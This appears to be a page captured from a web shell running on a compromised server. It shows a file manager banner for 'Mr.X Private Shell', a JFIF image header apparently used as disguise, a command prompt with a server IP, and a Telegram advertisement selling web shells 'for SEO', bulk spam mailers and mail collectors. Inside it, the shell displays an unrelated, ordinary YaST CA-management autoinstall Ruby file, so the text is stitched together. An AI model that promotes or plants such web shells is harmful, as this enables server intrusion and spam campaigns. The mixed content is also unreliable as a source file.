xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
# encoding: utf-8

# ***************************************************************************
#
# Copyright (c) 2004 - 2012 Novell, Inc.
# All Rights Reserved.
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of version 2 of the GNU General Public License as
# published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.   See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, contact Novell, Inc.
#
# To contact Novell about this file by physical or electronic mail,
# you may find current contact information at www.novell.com
#
# ***************************************************************************
# File:	clients/ca-management_auto.ycp
# Package:	Configuration of ca-management
# Summary:	Client for autoinstallation
# Authors:	Ryan Partridge <rpartridge@novell.com>
#
# $Id$
#
# This is a client for autoinstallation. It takes its arguments,
# goes through the configuration and return the setting.
# Does not do any changes to the configuration.

# @param function to execute
# @param map/list of ca-management settings
# @return [Hash] edited settings, Summary or boolean on success depending on called function
# @example map mm = $[ "FAIL_DELAY" : "77" ];
# @example map ret = WFM::CallFunction ("ca-management_auto", [ "Summary", mm ]);
module Yast
  class CaMgmAutoClient < Client
    def main
      Yast.import "UI"

      textdomain "ca-management"

      Yast.import "Progress"
      Yast.import "Report"
      Yast.import "Users"
      Yast.import "CaMgm"
      Yast.import "Summary"
      Yast.import "Hostname"
      Yast.import "String"

      Yast.include self, "ca-management/new_cert_read_write.rb"
      Yast.include self, "ca-management/util.rb"

      #---------------------------------------------------------------------------
      # MAIN
      #---------------------------------------------------------------------------

      Builtins.y2milestone("----------------------------------------")
      Builtins.y2milestone("ca-management auto started")
      Yast.include self, "ca-management/wizards.rb"

      @ret = nil
      @func = ""
      @param = {}

      # Check arguments
      if Ops.greater_than(Builtins.size(WFM.Args), 0) &&
          Ops.is_string?(WFM.Args(0))
        @func = Convert.to_string(WFM.Args(0))
        if Ops.greater_than(Builtins.size(WFM.Args), 1) &&
            Ops.is_map?(WFM.Args(1))
          @param = Convert.to_map(WFM.Args(1))
        end
      end
      Builtins.y2milestone("func=%1", @func)
      @logparam = deep_copy(@param)
      Ops.set(@logparam, "password", "<non-empty>")
      Builtins.y2milestone("param=%1", @logparam)

      # Create a summary
      if @func == "Summary"
        @ret = Summary()
      # Reset configuration
      elsif @func == "Reset"
        Import({})
        @ret = {}
      # Change configuration (run AutoSequence)
      elsif @func == "Change"
        @ret = caAutoSequence
      # Import configuration
      elsif @func == "Import"
        @ret = Import(@param)
      # Return actual state
      elsif @func == "Export"
        @ret = Export()
      # Return needed packages
      elsif @func == "Packages"
        @ret = AutoPackages()
      # Write given settings
      elsif @func == "Write"
        Yast.import "Progress"
        Progress.off
        @ret = Write()
        Progress.on
      # Read  settings
      elsif @func == "Read"
        Yast.import "Progress"
        Progress.off
        @ret = Read()
        Progress.on
      elsif @func == "GetModified"
        @ret = CaMgm.autoYaSTModified
      elsif @func == "SetModified"
        CaMgm.autoYaSTModified = true
      else
        Builtins.y2error("Unknown function: %1", @func)
        @ret = false
      end

      Builtins.y2milestone("ret=%1", @ret)
      Builtins.y2milestone("ca-management auto finished")
      Builtins.y2milestone("----------------------------------------")

      deep_copy(@ret) 

      # EOF
    end

    # Creates Country items
    # @return a list country items formated for a UI table
    def getAutoCountryList
      result = []
      country_map = Convert.convert(
        Builtins.eval(SCR.Read(path(".target.yast2"), "country.ycp")),
        :from => "any",
        :to   => "map <string, string>"
      )

      country_index = Builtins.mapmap(country_map) { |k, v| { v => k } }

      name_list = Builtins.maplist(country_map) { |k, v| v }

      name_list = Builtins.sort(name_list)

      Builtins.foreach(name_list) do |name|
        result = Builtins.add(
          result,
          Item(
            Id(Ops.get(country_index, name, "")),
            name,
            Ops.get_string(CaMgm.autoYaSTSettings, "country") do
              Timezone.GetCountryForTimezone("")
            end ==
              Ops.get(country_index, name, "")
          )
        )
      end
      deep_copy(result)
    end


    # Autoyast configuration of ca-management
    # For use with autoinstallation.
    # @return sequence result
    def caAutoSequence
      caption = _("CA Configuration")
      confirmPassword = ""
      help_text = _(
        "<p>\n" +
          "YaST generates a default CA and certificate automatically. This CA and certificate\n" +
          "is used for communicating with the Apache server.\n" +
          "Here, change the settings of this CA and certificate or import a CA and certificate from a file.\n" +
          "</p>\n"
      )

      # Initialization dialog contents
      Wizard.CreateDialog

      confirmPassword = Ops.get_string(CaMgm.autoYaSTSettings, "password", "")

      contents = VBox(
        RadioButtonGroup(
          Id(:rb),
          VBox(
            Left(
              RadioButton(
                Id(:import),
                Opt(:notify),
                _("Import Common CA and Certificate"),
                Ops.get_boolean(
                  CaMgm.autoYaSTSettings,
                  "importCertificate",
                  true
                )
              )
            ),
            HBox(
              HSpacing(3),
              VBox(
                HBox(
                  HWeight(
                    2,
                    TextEntry(
                      Id(:pathCert),
                      _("&Path of Certificate"),
                      Ops.get_string(
                        CaMgm.autoYaSTSettings,
                        "pathCertificate",
                        ""
                      )
                    )
                  ),
                  HWeight(
                    1,
                    VBox(
                      Label(""),
                      PushButton(
                        Id(:browseCert),
                        Opt(:notify),
                        Label.BrowseButton
                      )
                    )
                  )
                ),
                HBox(
                  HWeight(
                    1,
                    Password(
                      Id(:pw3),
                      Opt(:hstretch),
                      _("&Password:"),
                      Ops.get_string(CaMgm.autoYaSTSettings, "password", "")
                    )
                  ),
                  HSpacing(2),
                  HWeight(
                    1,
                    Password(
                      Id(:pw4),
                      Opt(:hstretch),
                      _("Co&nfirm Password"),
                      confirmPassword
                    )
                  )
                )
              )
            ),
            Left(
              RadioButton(
                Id(:notImport),
                Opt(:notify),
                _("Generate Common CA and Certificate"),
                !Ops.get_boolean(
                  CaMgm.autoYaSTSettings,
                  "importCertificate",
                  false
                )
              )
            ),
            HBox(
              HSpacing(3),
              VBox(
                HBox(
                  HWeight(
                    1,
                    TextEntry(
                      Id(:id_CAName),
                      _("&CA Name:"),
                      Ops.get_string(
                        CaMgm.autoYaSTSettings,
                        "CAName",
                        "YaST_Default_CA"
                      )
                    )
                  ),
                  HSpacing(2),
                  HWeight(
                    1,
                    TextEntry(
                      Id(:id_commonName),
                      _("&Common Name:"),
                      Ops.get_string(
                        CaMgm.autoYaSTSettings,
                        "ca_commonName",
                        ""
                      )
                    )
                  )
                ),
                HBox(
                  HWeight(
                    1,
                    TextEntry(
                      Id(:email),
                      _("E-Mail"),
                      Ops.get_string(CaMgm.autoYaSTSettings, "server_email", "")
                    )
                  ),
                  HSpacing(2),
                  HWeight(
                    1,
                    ComboBox(
                      Id(:id_country),
                      Opt(:editable),
                      _("C&ountry:"),
                      getAutoCountryList
                    )
                  )
                ),
                HBox(
                  HWeight(
                    1,
                    TextEntry(
                      Id(:id_organisation),
                      _("O&rganization:"),
                      Ops.get_string(CaMgm.autoYaSTSettings, "organisation", "")
                    )
                  ),
                  HSpacing(2),
                  HWeight(
                    1,
                    TextEntry(
                      Id(:id_organisationUnit),
                      _("Or&ganizational Unit:"),
                      Ops.get_string(
                        CaMgm.autoYaSTSettings,
                        "organisationUnit",
                        ""
                      )
                    )
                  )
                ),
                HBox(
                  HWeight(
                    1,
                    TextEntry(
                      Id(:id_locality),
                      _("Loca&lity:"),
                      Ops.get_string(CaMgm.autoYaSTSettings, "locality", "")
                    )
                  ),
                  HSpacing(2),
                  HWeight(
                    1,
                    TextEntry(
                      Id(:id_state),
                      _("&State:"),
                      Ops.get_string(CaMgm.autoYaSTSettings, "state", "")
                    )
                  )
                ),
                HBox(
                  HWeight(
                    1,
                    Password(
                      Id(:pw1),
                      Opt(:hstretch),
                      _("&Password:"),
                      Ops.get_string(CaMgm.autoYaSTSettings, "password", "")
                    )
                  ),
                  HSpacing(2),
                  HWeight(
                    1,
                    Password(
                      Id(:pw2),
                      Opt(:hstretch),
                      _("Co&nfirm Password"),
                      confirmPassword
                    )
                  )
                ),
                Left(
                  CheckBox(
                    Id(:localServerName),
                    Opt(:notify),
                    _("Take Local Server Name"),
                    Ops.get_boolean(
                      CaMgm.autoYaSTSettings,
                      "takeLocalServerName",
                      true
                    )
                  )
                ),
                HBox(
                  HWeight(
                    1,
                    TextEntry(
                      Id(:id_serverName),
                      _("&Server Name:"),
                      Ops.get_string(
                        CaMgm.autoYaSTSettings,
                        "server_commonName",
                        ""
                      )
                    )
                  ),
                  HSpacing(2),
                  HWeight(1, Empty())
                )
              )
            )
          )
        )
      )

      Wizard.SetContents(caption, contents, help_text, false, true)
      Wizard.SetNextButton(:next, Label.FinishButton)

      # Get the user input.
      #
      ret = nil
      begin
        if UI.QueryWidget(Id(:rb), :CurrentButton) == :import
          UI.ChangeWidget(Id(:id_CAName), :Enabled, false)
          UI.ChangeWidget(Id(:id_commonName), :Enabled, false)
          UI.ChangeWidget(Id(:email), :Enabled, false)
          UI.ChangeWidget(Id(:id_country), :Enabled, false)
          UI.ChangeWidget(Id(:id_organisation), :Enabled, false)
          UI.ChangeWidget(Id(:id_organisationUnit), :Enabled, false)
          UI.ChangeWidget(Id(:id_locality), :Enabled, false)
          UI.ChangeWidget(Id(:id_state), :Enabled, false)
          UI.ChangeWidget(Id(:pw1), :Enabled, false)
          UI.ChangeWidget(Id(:pw2), :Enabled, false)
          UI.ChangeWidget(Id(:localServerName), :Enabled, false)
          UI.ChangeWidget(Id(:id_serverName), :Enabled, false)
          UI.ChangeWidget(Id(:pathCert), :Enabled, true)
          UI.ChangeWidget(Id(:browseCert), :Enabled, true)
          UI.ChangeWidget(Id(:pw3), :Enabled, true)
          UI.ChangeWidget(Id(:pw4), :Enabled, true)
        else
          UI.ChangeWidget(Id(:id_CAName), :Enabled, true)
          UI.ChangeWidget(Id(:id_commonName), :Enabled, true)
          UI.ChangeWidget(Id(:email), :Enabled, true)
          UI.ChangeWidget(Id(:id_country), :Enabled, true)
          UI.ChangeWidget(Id(:id_organisation), :Enabled, true)
          UI.ChangeWidget(Id(:id_organisationUnit), :Enabled, true)
          UI.ChangeWidget(Id(:id_locality), :Enabled, true)
          UI.ChangeWidget(Id(:id_state), :Enabled, true)
          UI.ChangeWidget(Id(:localServerName), :Enabled, true)
          UI.ChangeWidget(Id(:pathCert), :Enabled, false)
          UI.ChangeWidget(Id(:browseCert), :Enabled, false)
          UI.ChangeWidget(Id(:pw3), :Enabled, false)
          UI.ChangeWidget(Id(:pw4), :Enabled, false)

          UI.ChangeWidget(Id(:pw1), :Enabled, true)
          UI.ChangeWidget(Id(:pw2), :Enabled, true)

          if Convert.to_boolean(UI.QueryWidget(Id(:localServerName), :Value))
            UI.ChangeWidget(Id(:id_serverName), :Enabled, false)
          else
            UI.ChangeWidget(Id(:id_serverName), :Enabled, true)
          end
        end


        ret = Wizard.UserInput

        if ret == :browseCert
          name = selectFile(false, "*.p12", "Import from ...")
          UI.ChangeWidget(Id(:pathCert), :Value, name) if name != nil
          ret = :again
        end

        if ret == :next || ret == :back
          Builtins.remove(CaMgm.autoYaSTSettings, "certificate")

          notImport = UI.QueryWidget(Id(:rb), :CurrentButton) == :notImport
          if notImport
            confirmPassword = Convert.to_string(
              UI.QueryWidget(Id(:pw2), :Value)
            )
            if Convert.to_string(UI.QueryWidget(Id(:pw1), :Value)) != confirmPassword
              Popup.Error(_("New passwords do not match."))
              ret = :again
            elsif Ops.less_than(Builtins.size(confirmPassword), 4)
              Popup.Error(
                _("Password length should be greater than three characters.")
              )
              ret = :again
            end
          end
          if notImport &&
              Ops.less_or_equal(
                Builtins.size(
                  Convert.to_string(UI.QueryWidget(Id(:id_CAName), :Value))
                ),
                0
              ) &&
              ret != :again
            Popup.Error(_("CA name required."))
            ret = :again
          end
          if notImport &&
              Ops.less_or_equal(
                Builtins.size(
                  Convert.to_string(UI.QueryWidget(Id(:id_commonName), :Value))
                ),
                0
              ) &&
              ret != :again
            Popup.Error(_("Common name required."))
            ret = :again
          end
          if notImport &&
              !check_mail_address(
                Convert.to_string(UI.QueryWidget(Id(:email), :Value))
              ) &&
              ret != :again
            Popup.Error(_("Invalid e-mail format."))
            ret = :again
          end

          if notImport &&
              !Convert.to_boolean(UI.QueryWidget(Id(:localServerName), :Value)) &&
              Ops.less_or_equal(
                Builtins.size(
                  Convert.to_string(UI.QueryWidget(Id(:id_serverName), :Value))
                ),
                0
              ) &&
              ret != :again
            Popup.Error(_("Server name required."))
            ret = :again
          end

          if !notImport && ret != :again
            confirmPassword = Convert.to_string(
              UI.QueryWidget(Id(:pw4), :Value)
            )
            if Convert.to_string(UI.QueryWidget(Id(:pw3), :Value)) != confirmPassword
              Popup.Error(_("New passwords do not match."))
              ret = :again
            elsif Ops.less_than(Builtins.size(confirmPassword), 4)
              Popup.Error(
                _("Password length should be greater than three characters.")
              )
              ret = :again
            end
          end

          retmap = {}

          if !notImport && ret != :again
            command = Builtins.sformat(
              "/usr/bin/openssl base64 -in %1 -e",
              String.Quote(
                Convert.to_string(UI.QueryWidget(Id(:pathCert), :Value))
              )
            )
            retmap = Convert.to_map(
              SCR.Execute(path(".target.bash_output"), command, {})
            )
            Builtins.y2milestone("%1 :%2", command, retmap)
            if Ops.get_integer(retmap, "exit", 0) != 0
              Builtins.y2error("%1 :%2", command, retmap)
              Popup.Error(_("Cannot read the certificate."))
              ret = :again
            end
          end

          if ret != :again
            CaMgm.autoYaSTSettings = {}

            Ops.set(
              CaMgm.autoYaSTSettings,
              "importCertificate",
              Convert.to_symbol(UI.QueryWidget(Id(:rb), :CurrentButton)) == :import
            )
            if Ops.get_boolean(
                CaMgm.autoYaSTSettings,
                "importCertificate",
                false
              )
              Ops.set(
                CaMgm.autoYaSTSettings,
                "certificate",
                strip(Ops.get_string(retmap, "stdout", ""))
              )
              Ops.set(
                CaMgm.autoYaSTSettings,
                "pathCertificate",
                Convert.to_string(UI.QueryWidget(Id(:pathCert), :Value))
              )
              Ops.set(
                CaMgm.autoYaSTSettings,
                "password",
                Convert.to_string(UI.QueryWidget(Id(:pw3), :Value))
              )
            else
              Ops.set(
                CaMgm.autoYaSTSettings,
                "takeLocalServerName",
                Convert.to_boolean(UI.QueryWidget(Id(:localServerName), :Value))
              )
              Ops.set(
                CaMgm.autoYaSTSettings,
                "password",
                Convert.to_string(UI.QueryWidget(Id(:pw1), :Value))
              )
              if !Ops.get_boolean(
                  CaMgm.autoYaSTSettings,
                  "takeLocalServerName",
                  true
                )
                Ops.set(
                  CaMgm.autoYaSTSettings,
                  "server_commonName",
                  Convert.to_string(UI.QueryWidget(Id(:id_serverName), :Value))
                )
              end
              Ops.set(
                CaMgm.autoYaSTSettings,
                "CAName",
                Convert.to_string(UI.QueryWidget(Id(:id_CAName), :Value))
              )
              Ops.set(
                CaMgm.autoYaSTSettings,
                "ca_commonName",
                Convert.to_string(UI.QueryWidget(Id(:id_commonName), :Value))
              )
              Ops.set(
                CaMgm.autoYaSTSettings,
                "server_email",
                Convert.to_string(UI.QueryWidget(Id(:email), :Value))
              )
              Ops.set(
                CaMgm.autoYaSTSettings,
                "country",
                Convert.to_string(UI.QueryWidget(Id(:id_country), :Value))
              )
              Ops.set(
                CaMgm.autoYaSTSettings,
                "organisation",
                Convert.to_string(UI.QueryWidget(Id(:id_organisation), :Value))
              )
              Ops.set(
                CaMgm.autoYaSTSettings,
                "organisationUnit",
                Convert.to_string(
                  UI.QueryWidget(Id(:id_organisationUnit), :Value)
                )
              )
              Ops.set(
                CaMgm.autoYaSTSettings,
                "locality",
                Convert.to_string(UI.QueryWidget(Id(:id_locality), :Value))
              )
              Ops.set(
                CaMgm.autoYaSTSettings,
                "state",
                Convert.to_string(UI.QueryWidget(Id(:id_state), :Value))
              )
            end
          end
        end
      end until ret == :next || ret == :abort || ret == :back

      UI.CloseDialog
      deep_copy(ret)
    end

    # Get all ca-management settings from the first parameter
    # (For use by autoinstallation.)
    # @param [Hash] settings The YCP structure to be imported.
    # @return [Boolean] True on success
    def Import(settings)
      settings = deep_copy(settings)
      ret = true

      CaMgm.autoYaSTSettings = {}


      Ops.set(
        CaMgm.autoYaSTSettings,
        "importCertificate",
        Ops.get_boolean(settings, "importCertificate", false)
      )
      if Ops.get_boolean(CaMgm.autoYaSTSettings, "importCertificate", false)
        # importing CA/certificate
        Ops.set(
          CaMgm.autoYaSTSettings,
          "certificate",
          Ops.get_string(settings, "certificate", "")
        )
        Ops.set(
          CaMgm.autoYaSTSettings,
          "pathCertificate",
          Ops.get_string(settings, "pathCertificate", "")
        )
        Ops.set(
          CaMgm.autoYaSTSettings,
          "password",
          Ops.get_string(settings, "password", "")
        )
      else
        #create one
        if Builtins.haskey(settings, "password")
          Ops.set(
            CaMgm.autoYaSTSettings,
            "password",
            Ops.get_string(settings, "password", "")
          )
        end

        Ops.set(
          CaMgm.autoYaSTSettings,
          "takeLocalServerName",
          Ops.get_boolean(settings, "takeLocalServerName", true)
        )
        if Ops.get_boolean(settings, "takeLocalServerName", true)
          host_ips = getHostIPs
          hostname_bak = ""

          Builtins.foreach(host_ips) do |key, value|
            hostname_bak = key if value == "DNS"
          end

          retmap = Convert.to_map(
            SCR.Execute(path(".target.bash_output"), "/bin/hostname --long", {})
          )
          Builtins.y2milestone("Hostname :%1", retmap)
          if Ops.get_integer(retmap, "exit", 1) != 0
            if hostname_bak == ""
              Ops.set(retmap, "stdout", Hostname.CurrentFQ)
            else
              Ops.set(retmap, "stdout", hostname_bak)
            end
          end
          Ops.set(
            CaMgm.autoYaSTSettings,
            "server_commonName",
            strip(Ops.get_string(retmap, "stdout", "linux.#{Hostname.DefaultDomain}"))
          )
        else
          if Builtins.haskey(settings, "server_commonName")
            Ops.set(
              CaMgm.autoYaSTSettings,
              "server_commonName",
              Ops.get_string(settings, "server_commonName", "")
            )
          end
        end
        if Builtins.haskey(settings, "CAName")
          Ops.set(
            CaMgm.autoYaSTSettings,
            "CAName",
            Ops.get_string(settings, "CAName", "YaST_Default_CA")
          )
        end
        if Builtins.haskey(settings, "ca_commonName")
          Ops.set(
            CaMgm.autoYaSTSettings,
            "ca_commonName",
            Ops.get_string(settings, "ca_commonName", "")
          )
        end
        if Builtins.haskey(settings, "server_email")
          Ops.set(
            CaMgm.autoYaSTSettings,
            "server_email",
            Ops.get_string(settings, "server_email", "")
          )
        end
        if Builtins.haskey(settings, "country")
          Ops.set(
            CaMgm.autoYaSTSettings,
            "country",
            Ops.get_string(settings, "country", "")
          )
        end
        if Builtins.haskey(settings, "organisation")
          Ops.set(
            CaMgm.autoYaSTSettings,
            "organisation",
            Ops.get_string(settings, "organisation", "")
          )
        end
        if Builtins.haskey(settings, "organisationUnit")
          Ops.set(
            CaMgm.autoYaSTSettings,
            "organisationUnit",
            Ops.get_string(settings, "organisationUnit", "")
          )
        end
        if Builtins.haskey(settings, "locality")
          Ops.set(
            CaMgm.autoYaSTSettings,
            "locality",
            Ops.get_string(settings, "locality", "")
          )
        end
        if Builtins.haskey(settings, "state")
          Ops.set(
            CaMgm.autoYaSTSettings,
            "state",
            Ops.get_string(settings, "state", "")
          )
        end
      end

      ret
    end

    # Dump the ca-management settings to a single map
    # (For use by autoinstallation.)
    # @return [Hash] Dumped settings (later acceptable by Import ())
    def Export
      deep_copy(CaMgm.autoYaSTSettings)
    end

    # Return packages needed to be installed and removed during
    # Autoinstallation to insure module has all needed software
    # installed.
    # @return [Hash] with 2 lists.
    def AutoPackages
      { "install" => ["openssl"], "remove" => [] }
    end

    # Create a textual summary and a list of unconfigured cards
    # @return summary of the current configuration
    def Summary
      # Configuration summary text for autoyast
      summary = ""

      if Ops.get_boolean(CaMgm.autoYaSTSettings, "importCertificate", false)
        summary = Summary.AddHeader(summary, _("Import Certificate from File"))
        summary = Summary.AddLine(
          summary,
          Ops.get_string(CaMgm.autoYaSTSettings, "pathCertificate", "")
        )
      else
        summary = Summary.AddHeader(summary, _("Server Name"))
        if Ops.get_boolean(CaMgm.autoYaSTSettings, "takeLocalServerName", true)
          summary = Summary.AddLine(summary, _("[local server name]"))
        else
          summary = Summary.AddLine(
            summary,
            Ops.get_string(CaMgm.autoYaSTSettings, "server_commonName", "")
          )
        end
        summary = Summary.AddHeader(summary, _("CA Name"))
        summary = Summary.AddLine(
          summary,
          Ops.get_string(CaMgm.autoYaSTSettings, "CAName", "YaST_Default_CA")
        )
        summary = Summary.AddHeader(summary, _("Common Name"))
        summary = Summary.AddLine(
          summary,
          Ops.get_locale(
            CaMgm.autoYaSTSettings,
            "ca_commonName",
            _("[not set]")
          )
        )
        summary = Summary.AddHeader(summary, _("Email"))
        summary = Summary.AddLine(
          summary,
          Ops.get_locale(CaMgm.autoYaSTSettings, "server_email", _("[not set]"))
        )
        summary = Summary.AddHeader(summary, _("Country"))
        summary = Summary.AddLine(
          summary,
          Ops.get_locale(CaMgm.autoYaSTSettings, "country", _("[not set]"))
        )
        summary = Summary.AddHeader(summary, _("Organization"))
        summary = Summary.AddLine(
          summary,
          Ops.get_locale(CaMgm.autoYaSTSettings, "organisation", _("[not set]"))
        )
        summary = Summary.AddHeader(summary, _("Organizational Unit"))
        summary = Summary.AddLine(
          summary,
          Ops.get_locale(
            CaMgm.autoYaSTSettings,
            "organisationUnit",
            _("[not set]")
          )
        )
        summary = Summary.AddHeader(summary, _("Locality"))
        summary = Summary.AddLine(
          summary,
          Ops.get_locale(CaMgm.autoYaSTSettings, "locality", _("[not set]"))
        )
        summary = Summary.AddHeader(summary, _("State"))
        summary = Summary.AddLine(
          summary,
          Ops.get_locale(CaMgm.autoYaSTSettings, "state", _("[not set]"))
        )

        summary = Summary.AddHeader(summary, _("Password"))
        if Ops.less_or_equal(
            Builtins.size(
              Ops.get_string(CaMgm.autoYaSTSettings, "password", "")
            ),
            0
          )
          summary = Summary.AddLine(summary, _("[not set]"))
        else
          summary = Summary.AddLine(summary, _("[set]"))
        end
      end

      summary
    end


    # Write all ca-management settings
    # @return true on success
    def Write
      success = true
      caption = _("Generating Common Server Certificate")
      steps = 2
      sl = 500

      Report.DisplayErrors(true, 5)
      Report.DisplayMessages(true, 5)

      # We do not set help text here, because it was set outside
      Progress.New(
        caption,
        " ",
        steps,
        [
          # Progress stage 1/2
          _("Read server information"),
          # Progress stage 2/2
          _("Create the default CA and server certificate")
        ],
        [
          # Progress stage 1/2
          _("Read server information"),
          # Progress step 2/2
          _("Creating the default CA and server certificate..."),
          # Progress finished
          _("Finished")
        ],
        ""
      )

      # Read server information

      tmpfile = Ops.add(
        Convert.to_string(SCR.Read(path(".target.tmpdir"))),
        "/YaST-Servercert.p12"
      )

      Progress.NextStage
      if Ops.get_boolean(CaMgm.autoYaSTSettings, "importCertificate", false)
        # importing CA/certificate
        command = Builtins.sformat(
          "/usr/bin/openssl base64 -out %1 -d",
          String.Quote(tmpfile)
        )
        SCR.Execute(
          path(".target.bash_input"),
          command,
          Ops.get_string(CaMgm.autoYaSTSettings, "certificate", "")
        )
      else
        # create one
        if Ops.get_boolean(CaMgm.autoYaSTSettings, "takeLocalServerName", true)
          host_ips = getHostIPs
          hostname_bak = ""

          Builtins.foreach(host_ips) do |key, value|
            hostname_bak = key if value == "DNS"
          end

          retmap = Convert.to_map(
            SCR.Execute(path(".target.bash_output"), "/bin/hostname --long", {})
          )

          Builtins.y2milestone("Hostname :%1", retmap)
          if Ops.get_integer(retmap, "exit", 1) != 0
            if hostname_bak == ""
              Ops.set(retmap, "stdout", Hostname.CurrentFQ)
            else
              Ops.set(retmap, "stdout", hostname_bak)
            end
          end
          CaMgm.prop_server_commonName = strip(
            Ops.get_string(retmap, "stdout", "linux.#{Hostname.DefaultDomain}")
          )
        else
          CaMgm.prop_server_commonName = Ops.get_string(
            CaMgm.autoYaSTSettings,
            "server_commonName",
            ""
          )
        end

        CaMgm.prop_selection = :def
        CaMgm.prop_ca_commonName = Ops.get_string(
          CaMgm.autoYaSTSettings,
          "ca_commonName",
          ""
        )
        CaMgm.prop_CAName = Ops.get_string(
          CaMgm.autoYaSTSettings,
          "CAName",
          "YaST_Default_CA"
        )
        CaMgm.prop_country = Ops.get_string(
          CaMgm.autoYaSTSettings,
          "country",
          ""
        )
        CaMgm.prop_email = Ops.get_string(
          CaMgm.autoYaSTSettings,
          "server_email",
          ""
        )
        CaMgm.prop_organisation = Ops.get_string(
          CaMgm.autoYaSTSettings,
          "organisation",
          ""
        )
        CaMgm.prop_organisationUnit = Ops.get_string(
          CaMgm.autoYaSTSettings,
          "organisationUnit",
          ""
        )
        CaMgm.prop_locality = Ops.get_string(
          CaMgm.autoYaSTSettings,
          "locality",
          ""
        )
        CaMgm.prop_state = Ops.get_string(CaMgm.autoYaSTSettings, "state", "")
        CaMgm.prop_password = Ops.get_string(
          CaMgm.autoYaSTSettings,
          "password",
          ""
        )
      end

      Progress.NextStage

      # write settings

      if success
        if Ops.get_boolean(CaMgm.autoYaSTSettings, "importCertificate", false)
          importret = YaPI::CaManagement.ImportCommonServerCertificate(
            {
              "passwd" => Ops.get_string(CaMgm.autoYaSTSettings, "password", ""),
              "inFile" => tmpfile
            }
          )
          Builtins.y2milestone(
            "ImportCommonServerCertificate() return %1",
            importret
          )
          success = false if importret == nil || !importret
        else
          success = create_default_CA_certificate
        end
      end
      if !success
        # Error message
        Report.Error(_("Cannot create certificates."))
      end

      Builtins.sleep(sl)

      # Progress finished
      Progress.NextStage
      Builtins.sleep(sl)

      success
    end

    # Read ca-management defaults
    # @return true on success
    def Read
      servercert = nil
      servercert = Convert.to_map(
        YaPI::CaManagement.ReadFile(
          {
            "inFile"   => "/etc/ssl/servercerts/servercert.pem",
            "type"     => "parsed",
            "datatype" => "CERTIFICATE",
            "inForm"   => "PEM"
          }
        )
      )

      found = servercert != nil ? true : false

      hostname = "linux"
      domain = Hostname.DefaultDomain
      retmap = Convert.to_map(
        SCR.Execute(path(".target.bash_output"), "/bin/hostname -s", {})
      )

      if Ops.get_integer(retmap, "exit", 1) == 0
        hostname = strip(Ops.get_string(retmap, "stdout", "linux"))
      end

      retmap = Convert.to_map(
        SCR.Execute(path(".target.bash_output"), "/bin/hostname --domain", {})
      )

      if Ops.get_integer(retmap, "exit", 1) == 0
        domain = strip(Ops.get_string(retmap, "stdout", Hostname.DefaultDomain))
      end

      if found
        serverCertDN = Ops.get_map(servercert, "DN_HASH", {})
        serverCertIssuer = Ops.get_map(servercert, "ISSUER_HASH", {})


        Ops.set(CaMgm.autoYaSTSettings, "takeLocalServerName", false)
        Ops.set(CaMgm.autoYaSTSettings, "password", "ENTER PASSWORD HERE")
        Ops.set(
          CaMgm.autoYaSTSettings,
          "server_commonName",
          Ops.get_string(
            Ops.get_list(serverCertDN, "CN", []),
            0,
            Ops.add(Ops.add(hostname, "."), domain)
          )
        )
        Ops.set(CaMgm.autoYaSTSettings, "CAName", "YaST_Default_CA")
        Ops.set(
          CaMgm.autoYaSTSettings,
          "ca_commonName",
          Ops.get_string(
            Ops.get_list(serverCertIssuer, "CN", []),
            0,
            Ops.add(Ops.add("YaST Default CA " + "(", domain), ")")
          )
        )
        Ops.set(
          CaMgm.autoYaSTSettings,
          "server_email",
          Ops.get_string(
            Ops.get_list(serverCertDN, "emailAddress", []),
            0,
            Ops.add("postmaster@", domain)
          )
        )
        Ops.set(
          CaMgm.autoYaSTSettings,
          "country",
          Ops.get_string(Ops.get_list(serverCertDN, "C", []), 0, "US")
        )
        Ops.set(
          CaMgm.autoYaSTSettings,
          "organisation",
          Ops.get_string(Ops.get_list(serverCertDN, "O", []), 0, "")
        )
        Ops.set(
          CaMgm.autoYaSTSettings,
          "organisationUnit",
          Ops.get_string(Ops.get_list(serverCertDN, "OU", []), 0, "")
        )
        Ops.set(
          CaMgm.autoYaSTSettings,
          "locality",
          Ops.get_string(Ops.get_list(serverCertDN, "L", []), 0, "")
        )
        Ops.set(
          CaMgm.autoYaSTSettings,
          "state",
          Ops.get_string(Ops.get_list(serverCertDN, "ST", []), 0, "")
        )
      else
        Ops.set(CaMgm.autoYaSTSettings, "takeLocalServerName", true)
        Ops.set(CaMgm.autoYaSTSettings, "password", "ENTER PASSWORD HERE")
        Ops.set(CaMgm.autoYaSTSettings, "CAName", "YaST_Default_CA")
        Ops.set(
          CaMgm.autoYaSTSettings,
          "ca_commonName",
          Ops.add(Ops.add("YaST Default CA " + "(", domain), ")")
        )
        Ops.set(
          CaMgm.autoYaSTSettings,
          "server_email",
          Ops.add("postmaster@", domain)
        )
        Ops.set(
          CaMgm.autoYaSTSettings,
          "country",
          Timezone.GetCountryForTimezone("")
        )
        Ops.set(CaMgm.autoYaSTSettings, "organisation", "")
        Ops.set(CaMgm.autoYaSTSettings, "organisationUnit", "")
        Ops.set(CaMgm.autoYaSTSettings, "locality", "")
        Ops.set(CaMgm.autoYaSTSettings, "state", "")
      end
      true
    end
  end
end

Yast::CaMgmAutoClient.new.main

Filemanager

Name Type Size Permission Actions
OneClickInstallCLI.rb File 6.29 KB 0644
OneClickInstallUI.rb File 20.1 KB 0644
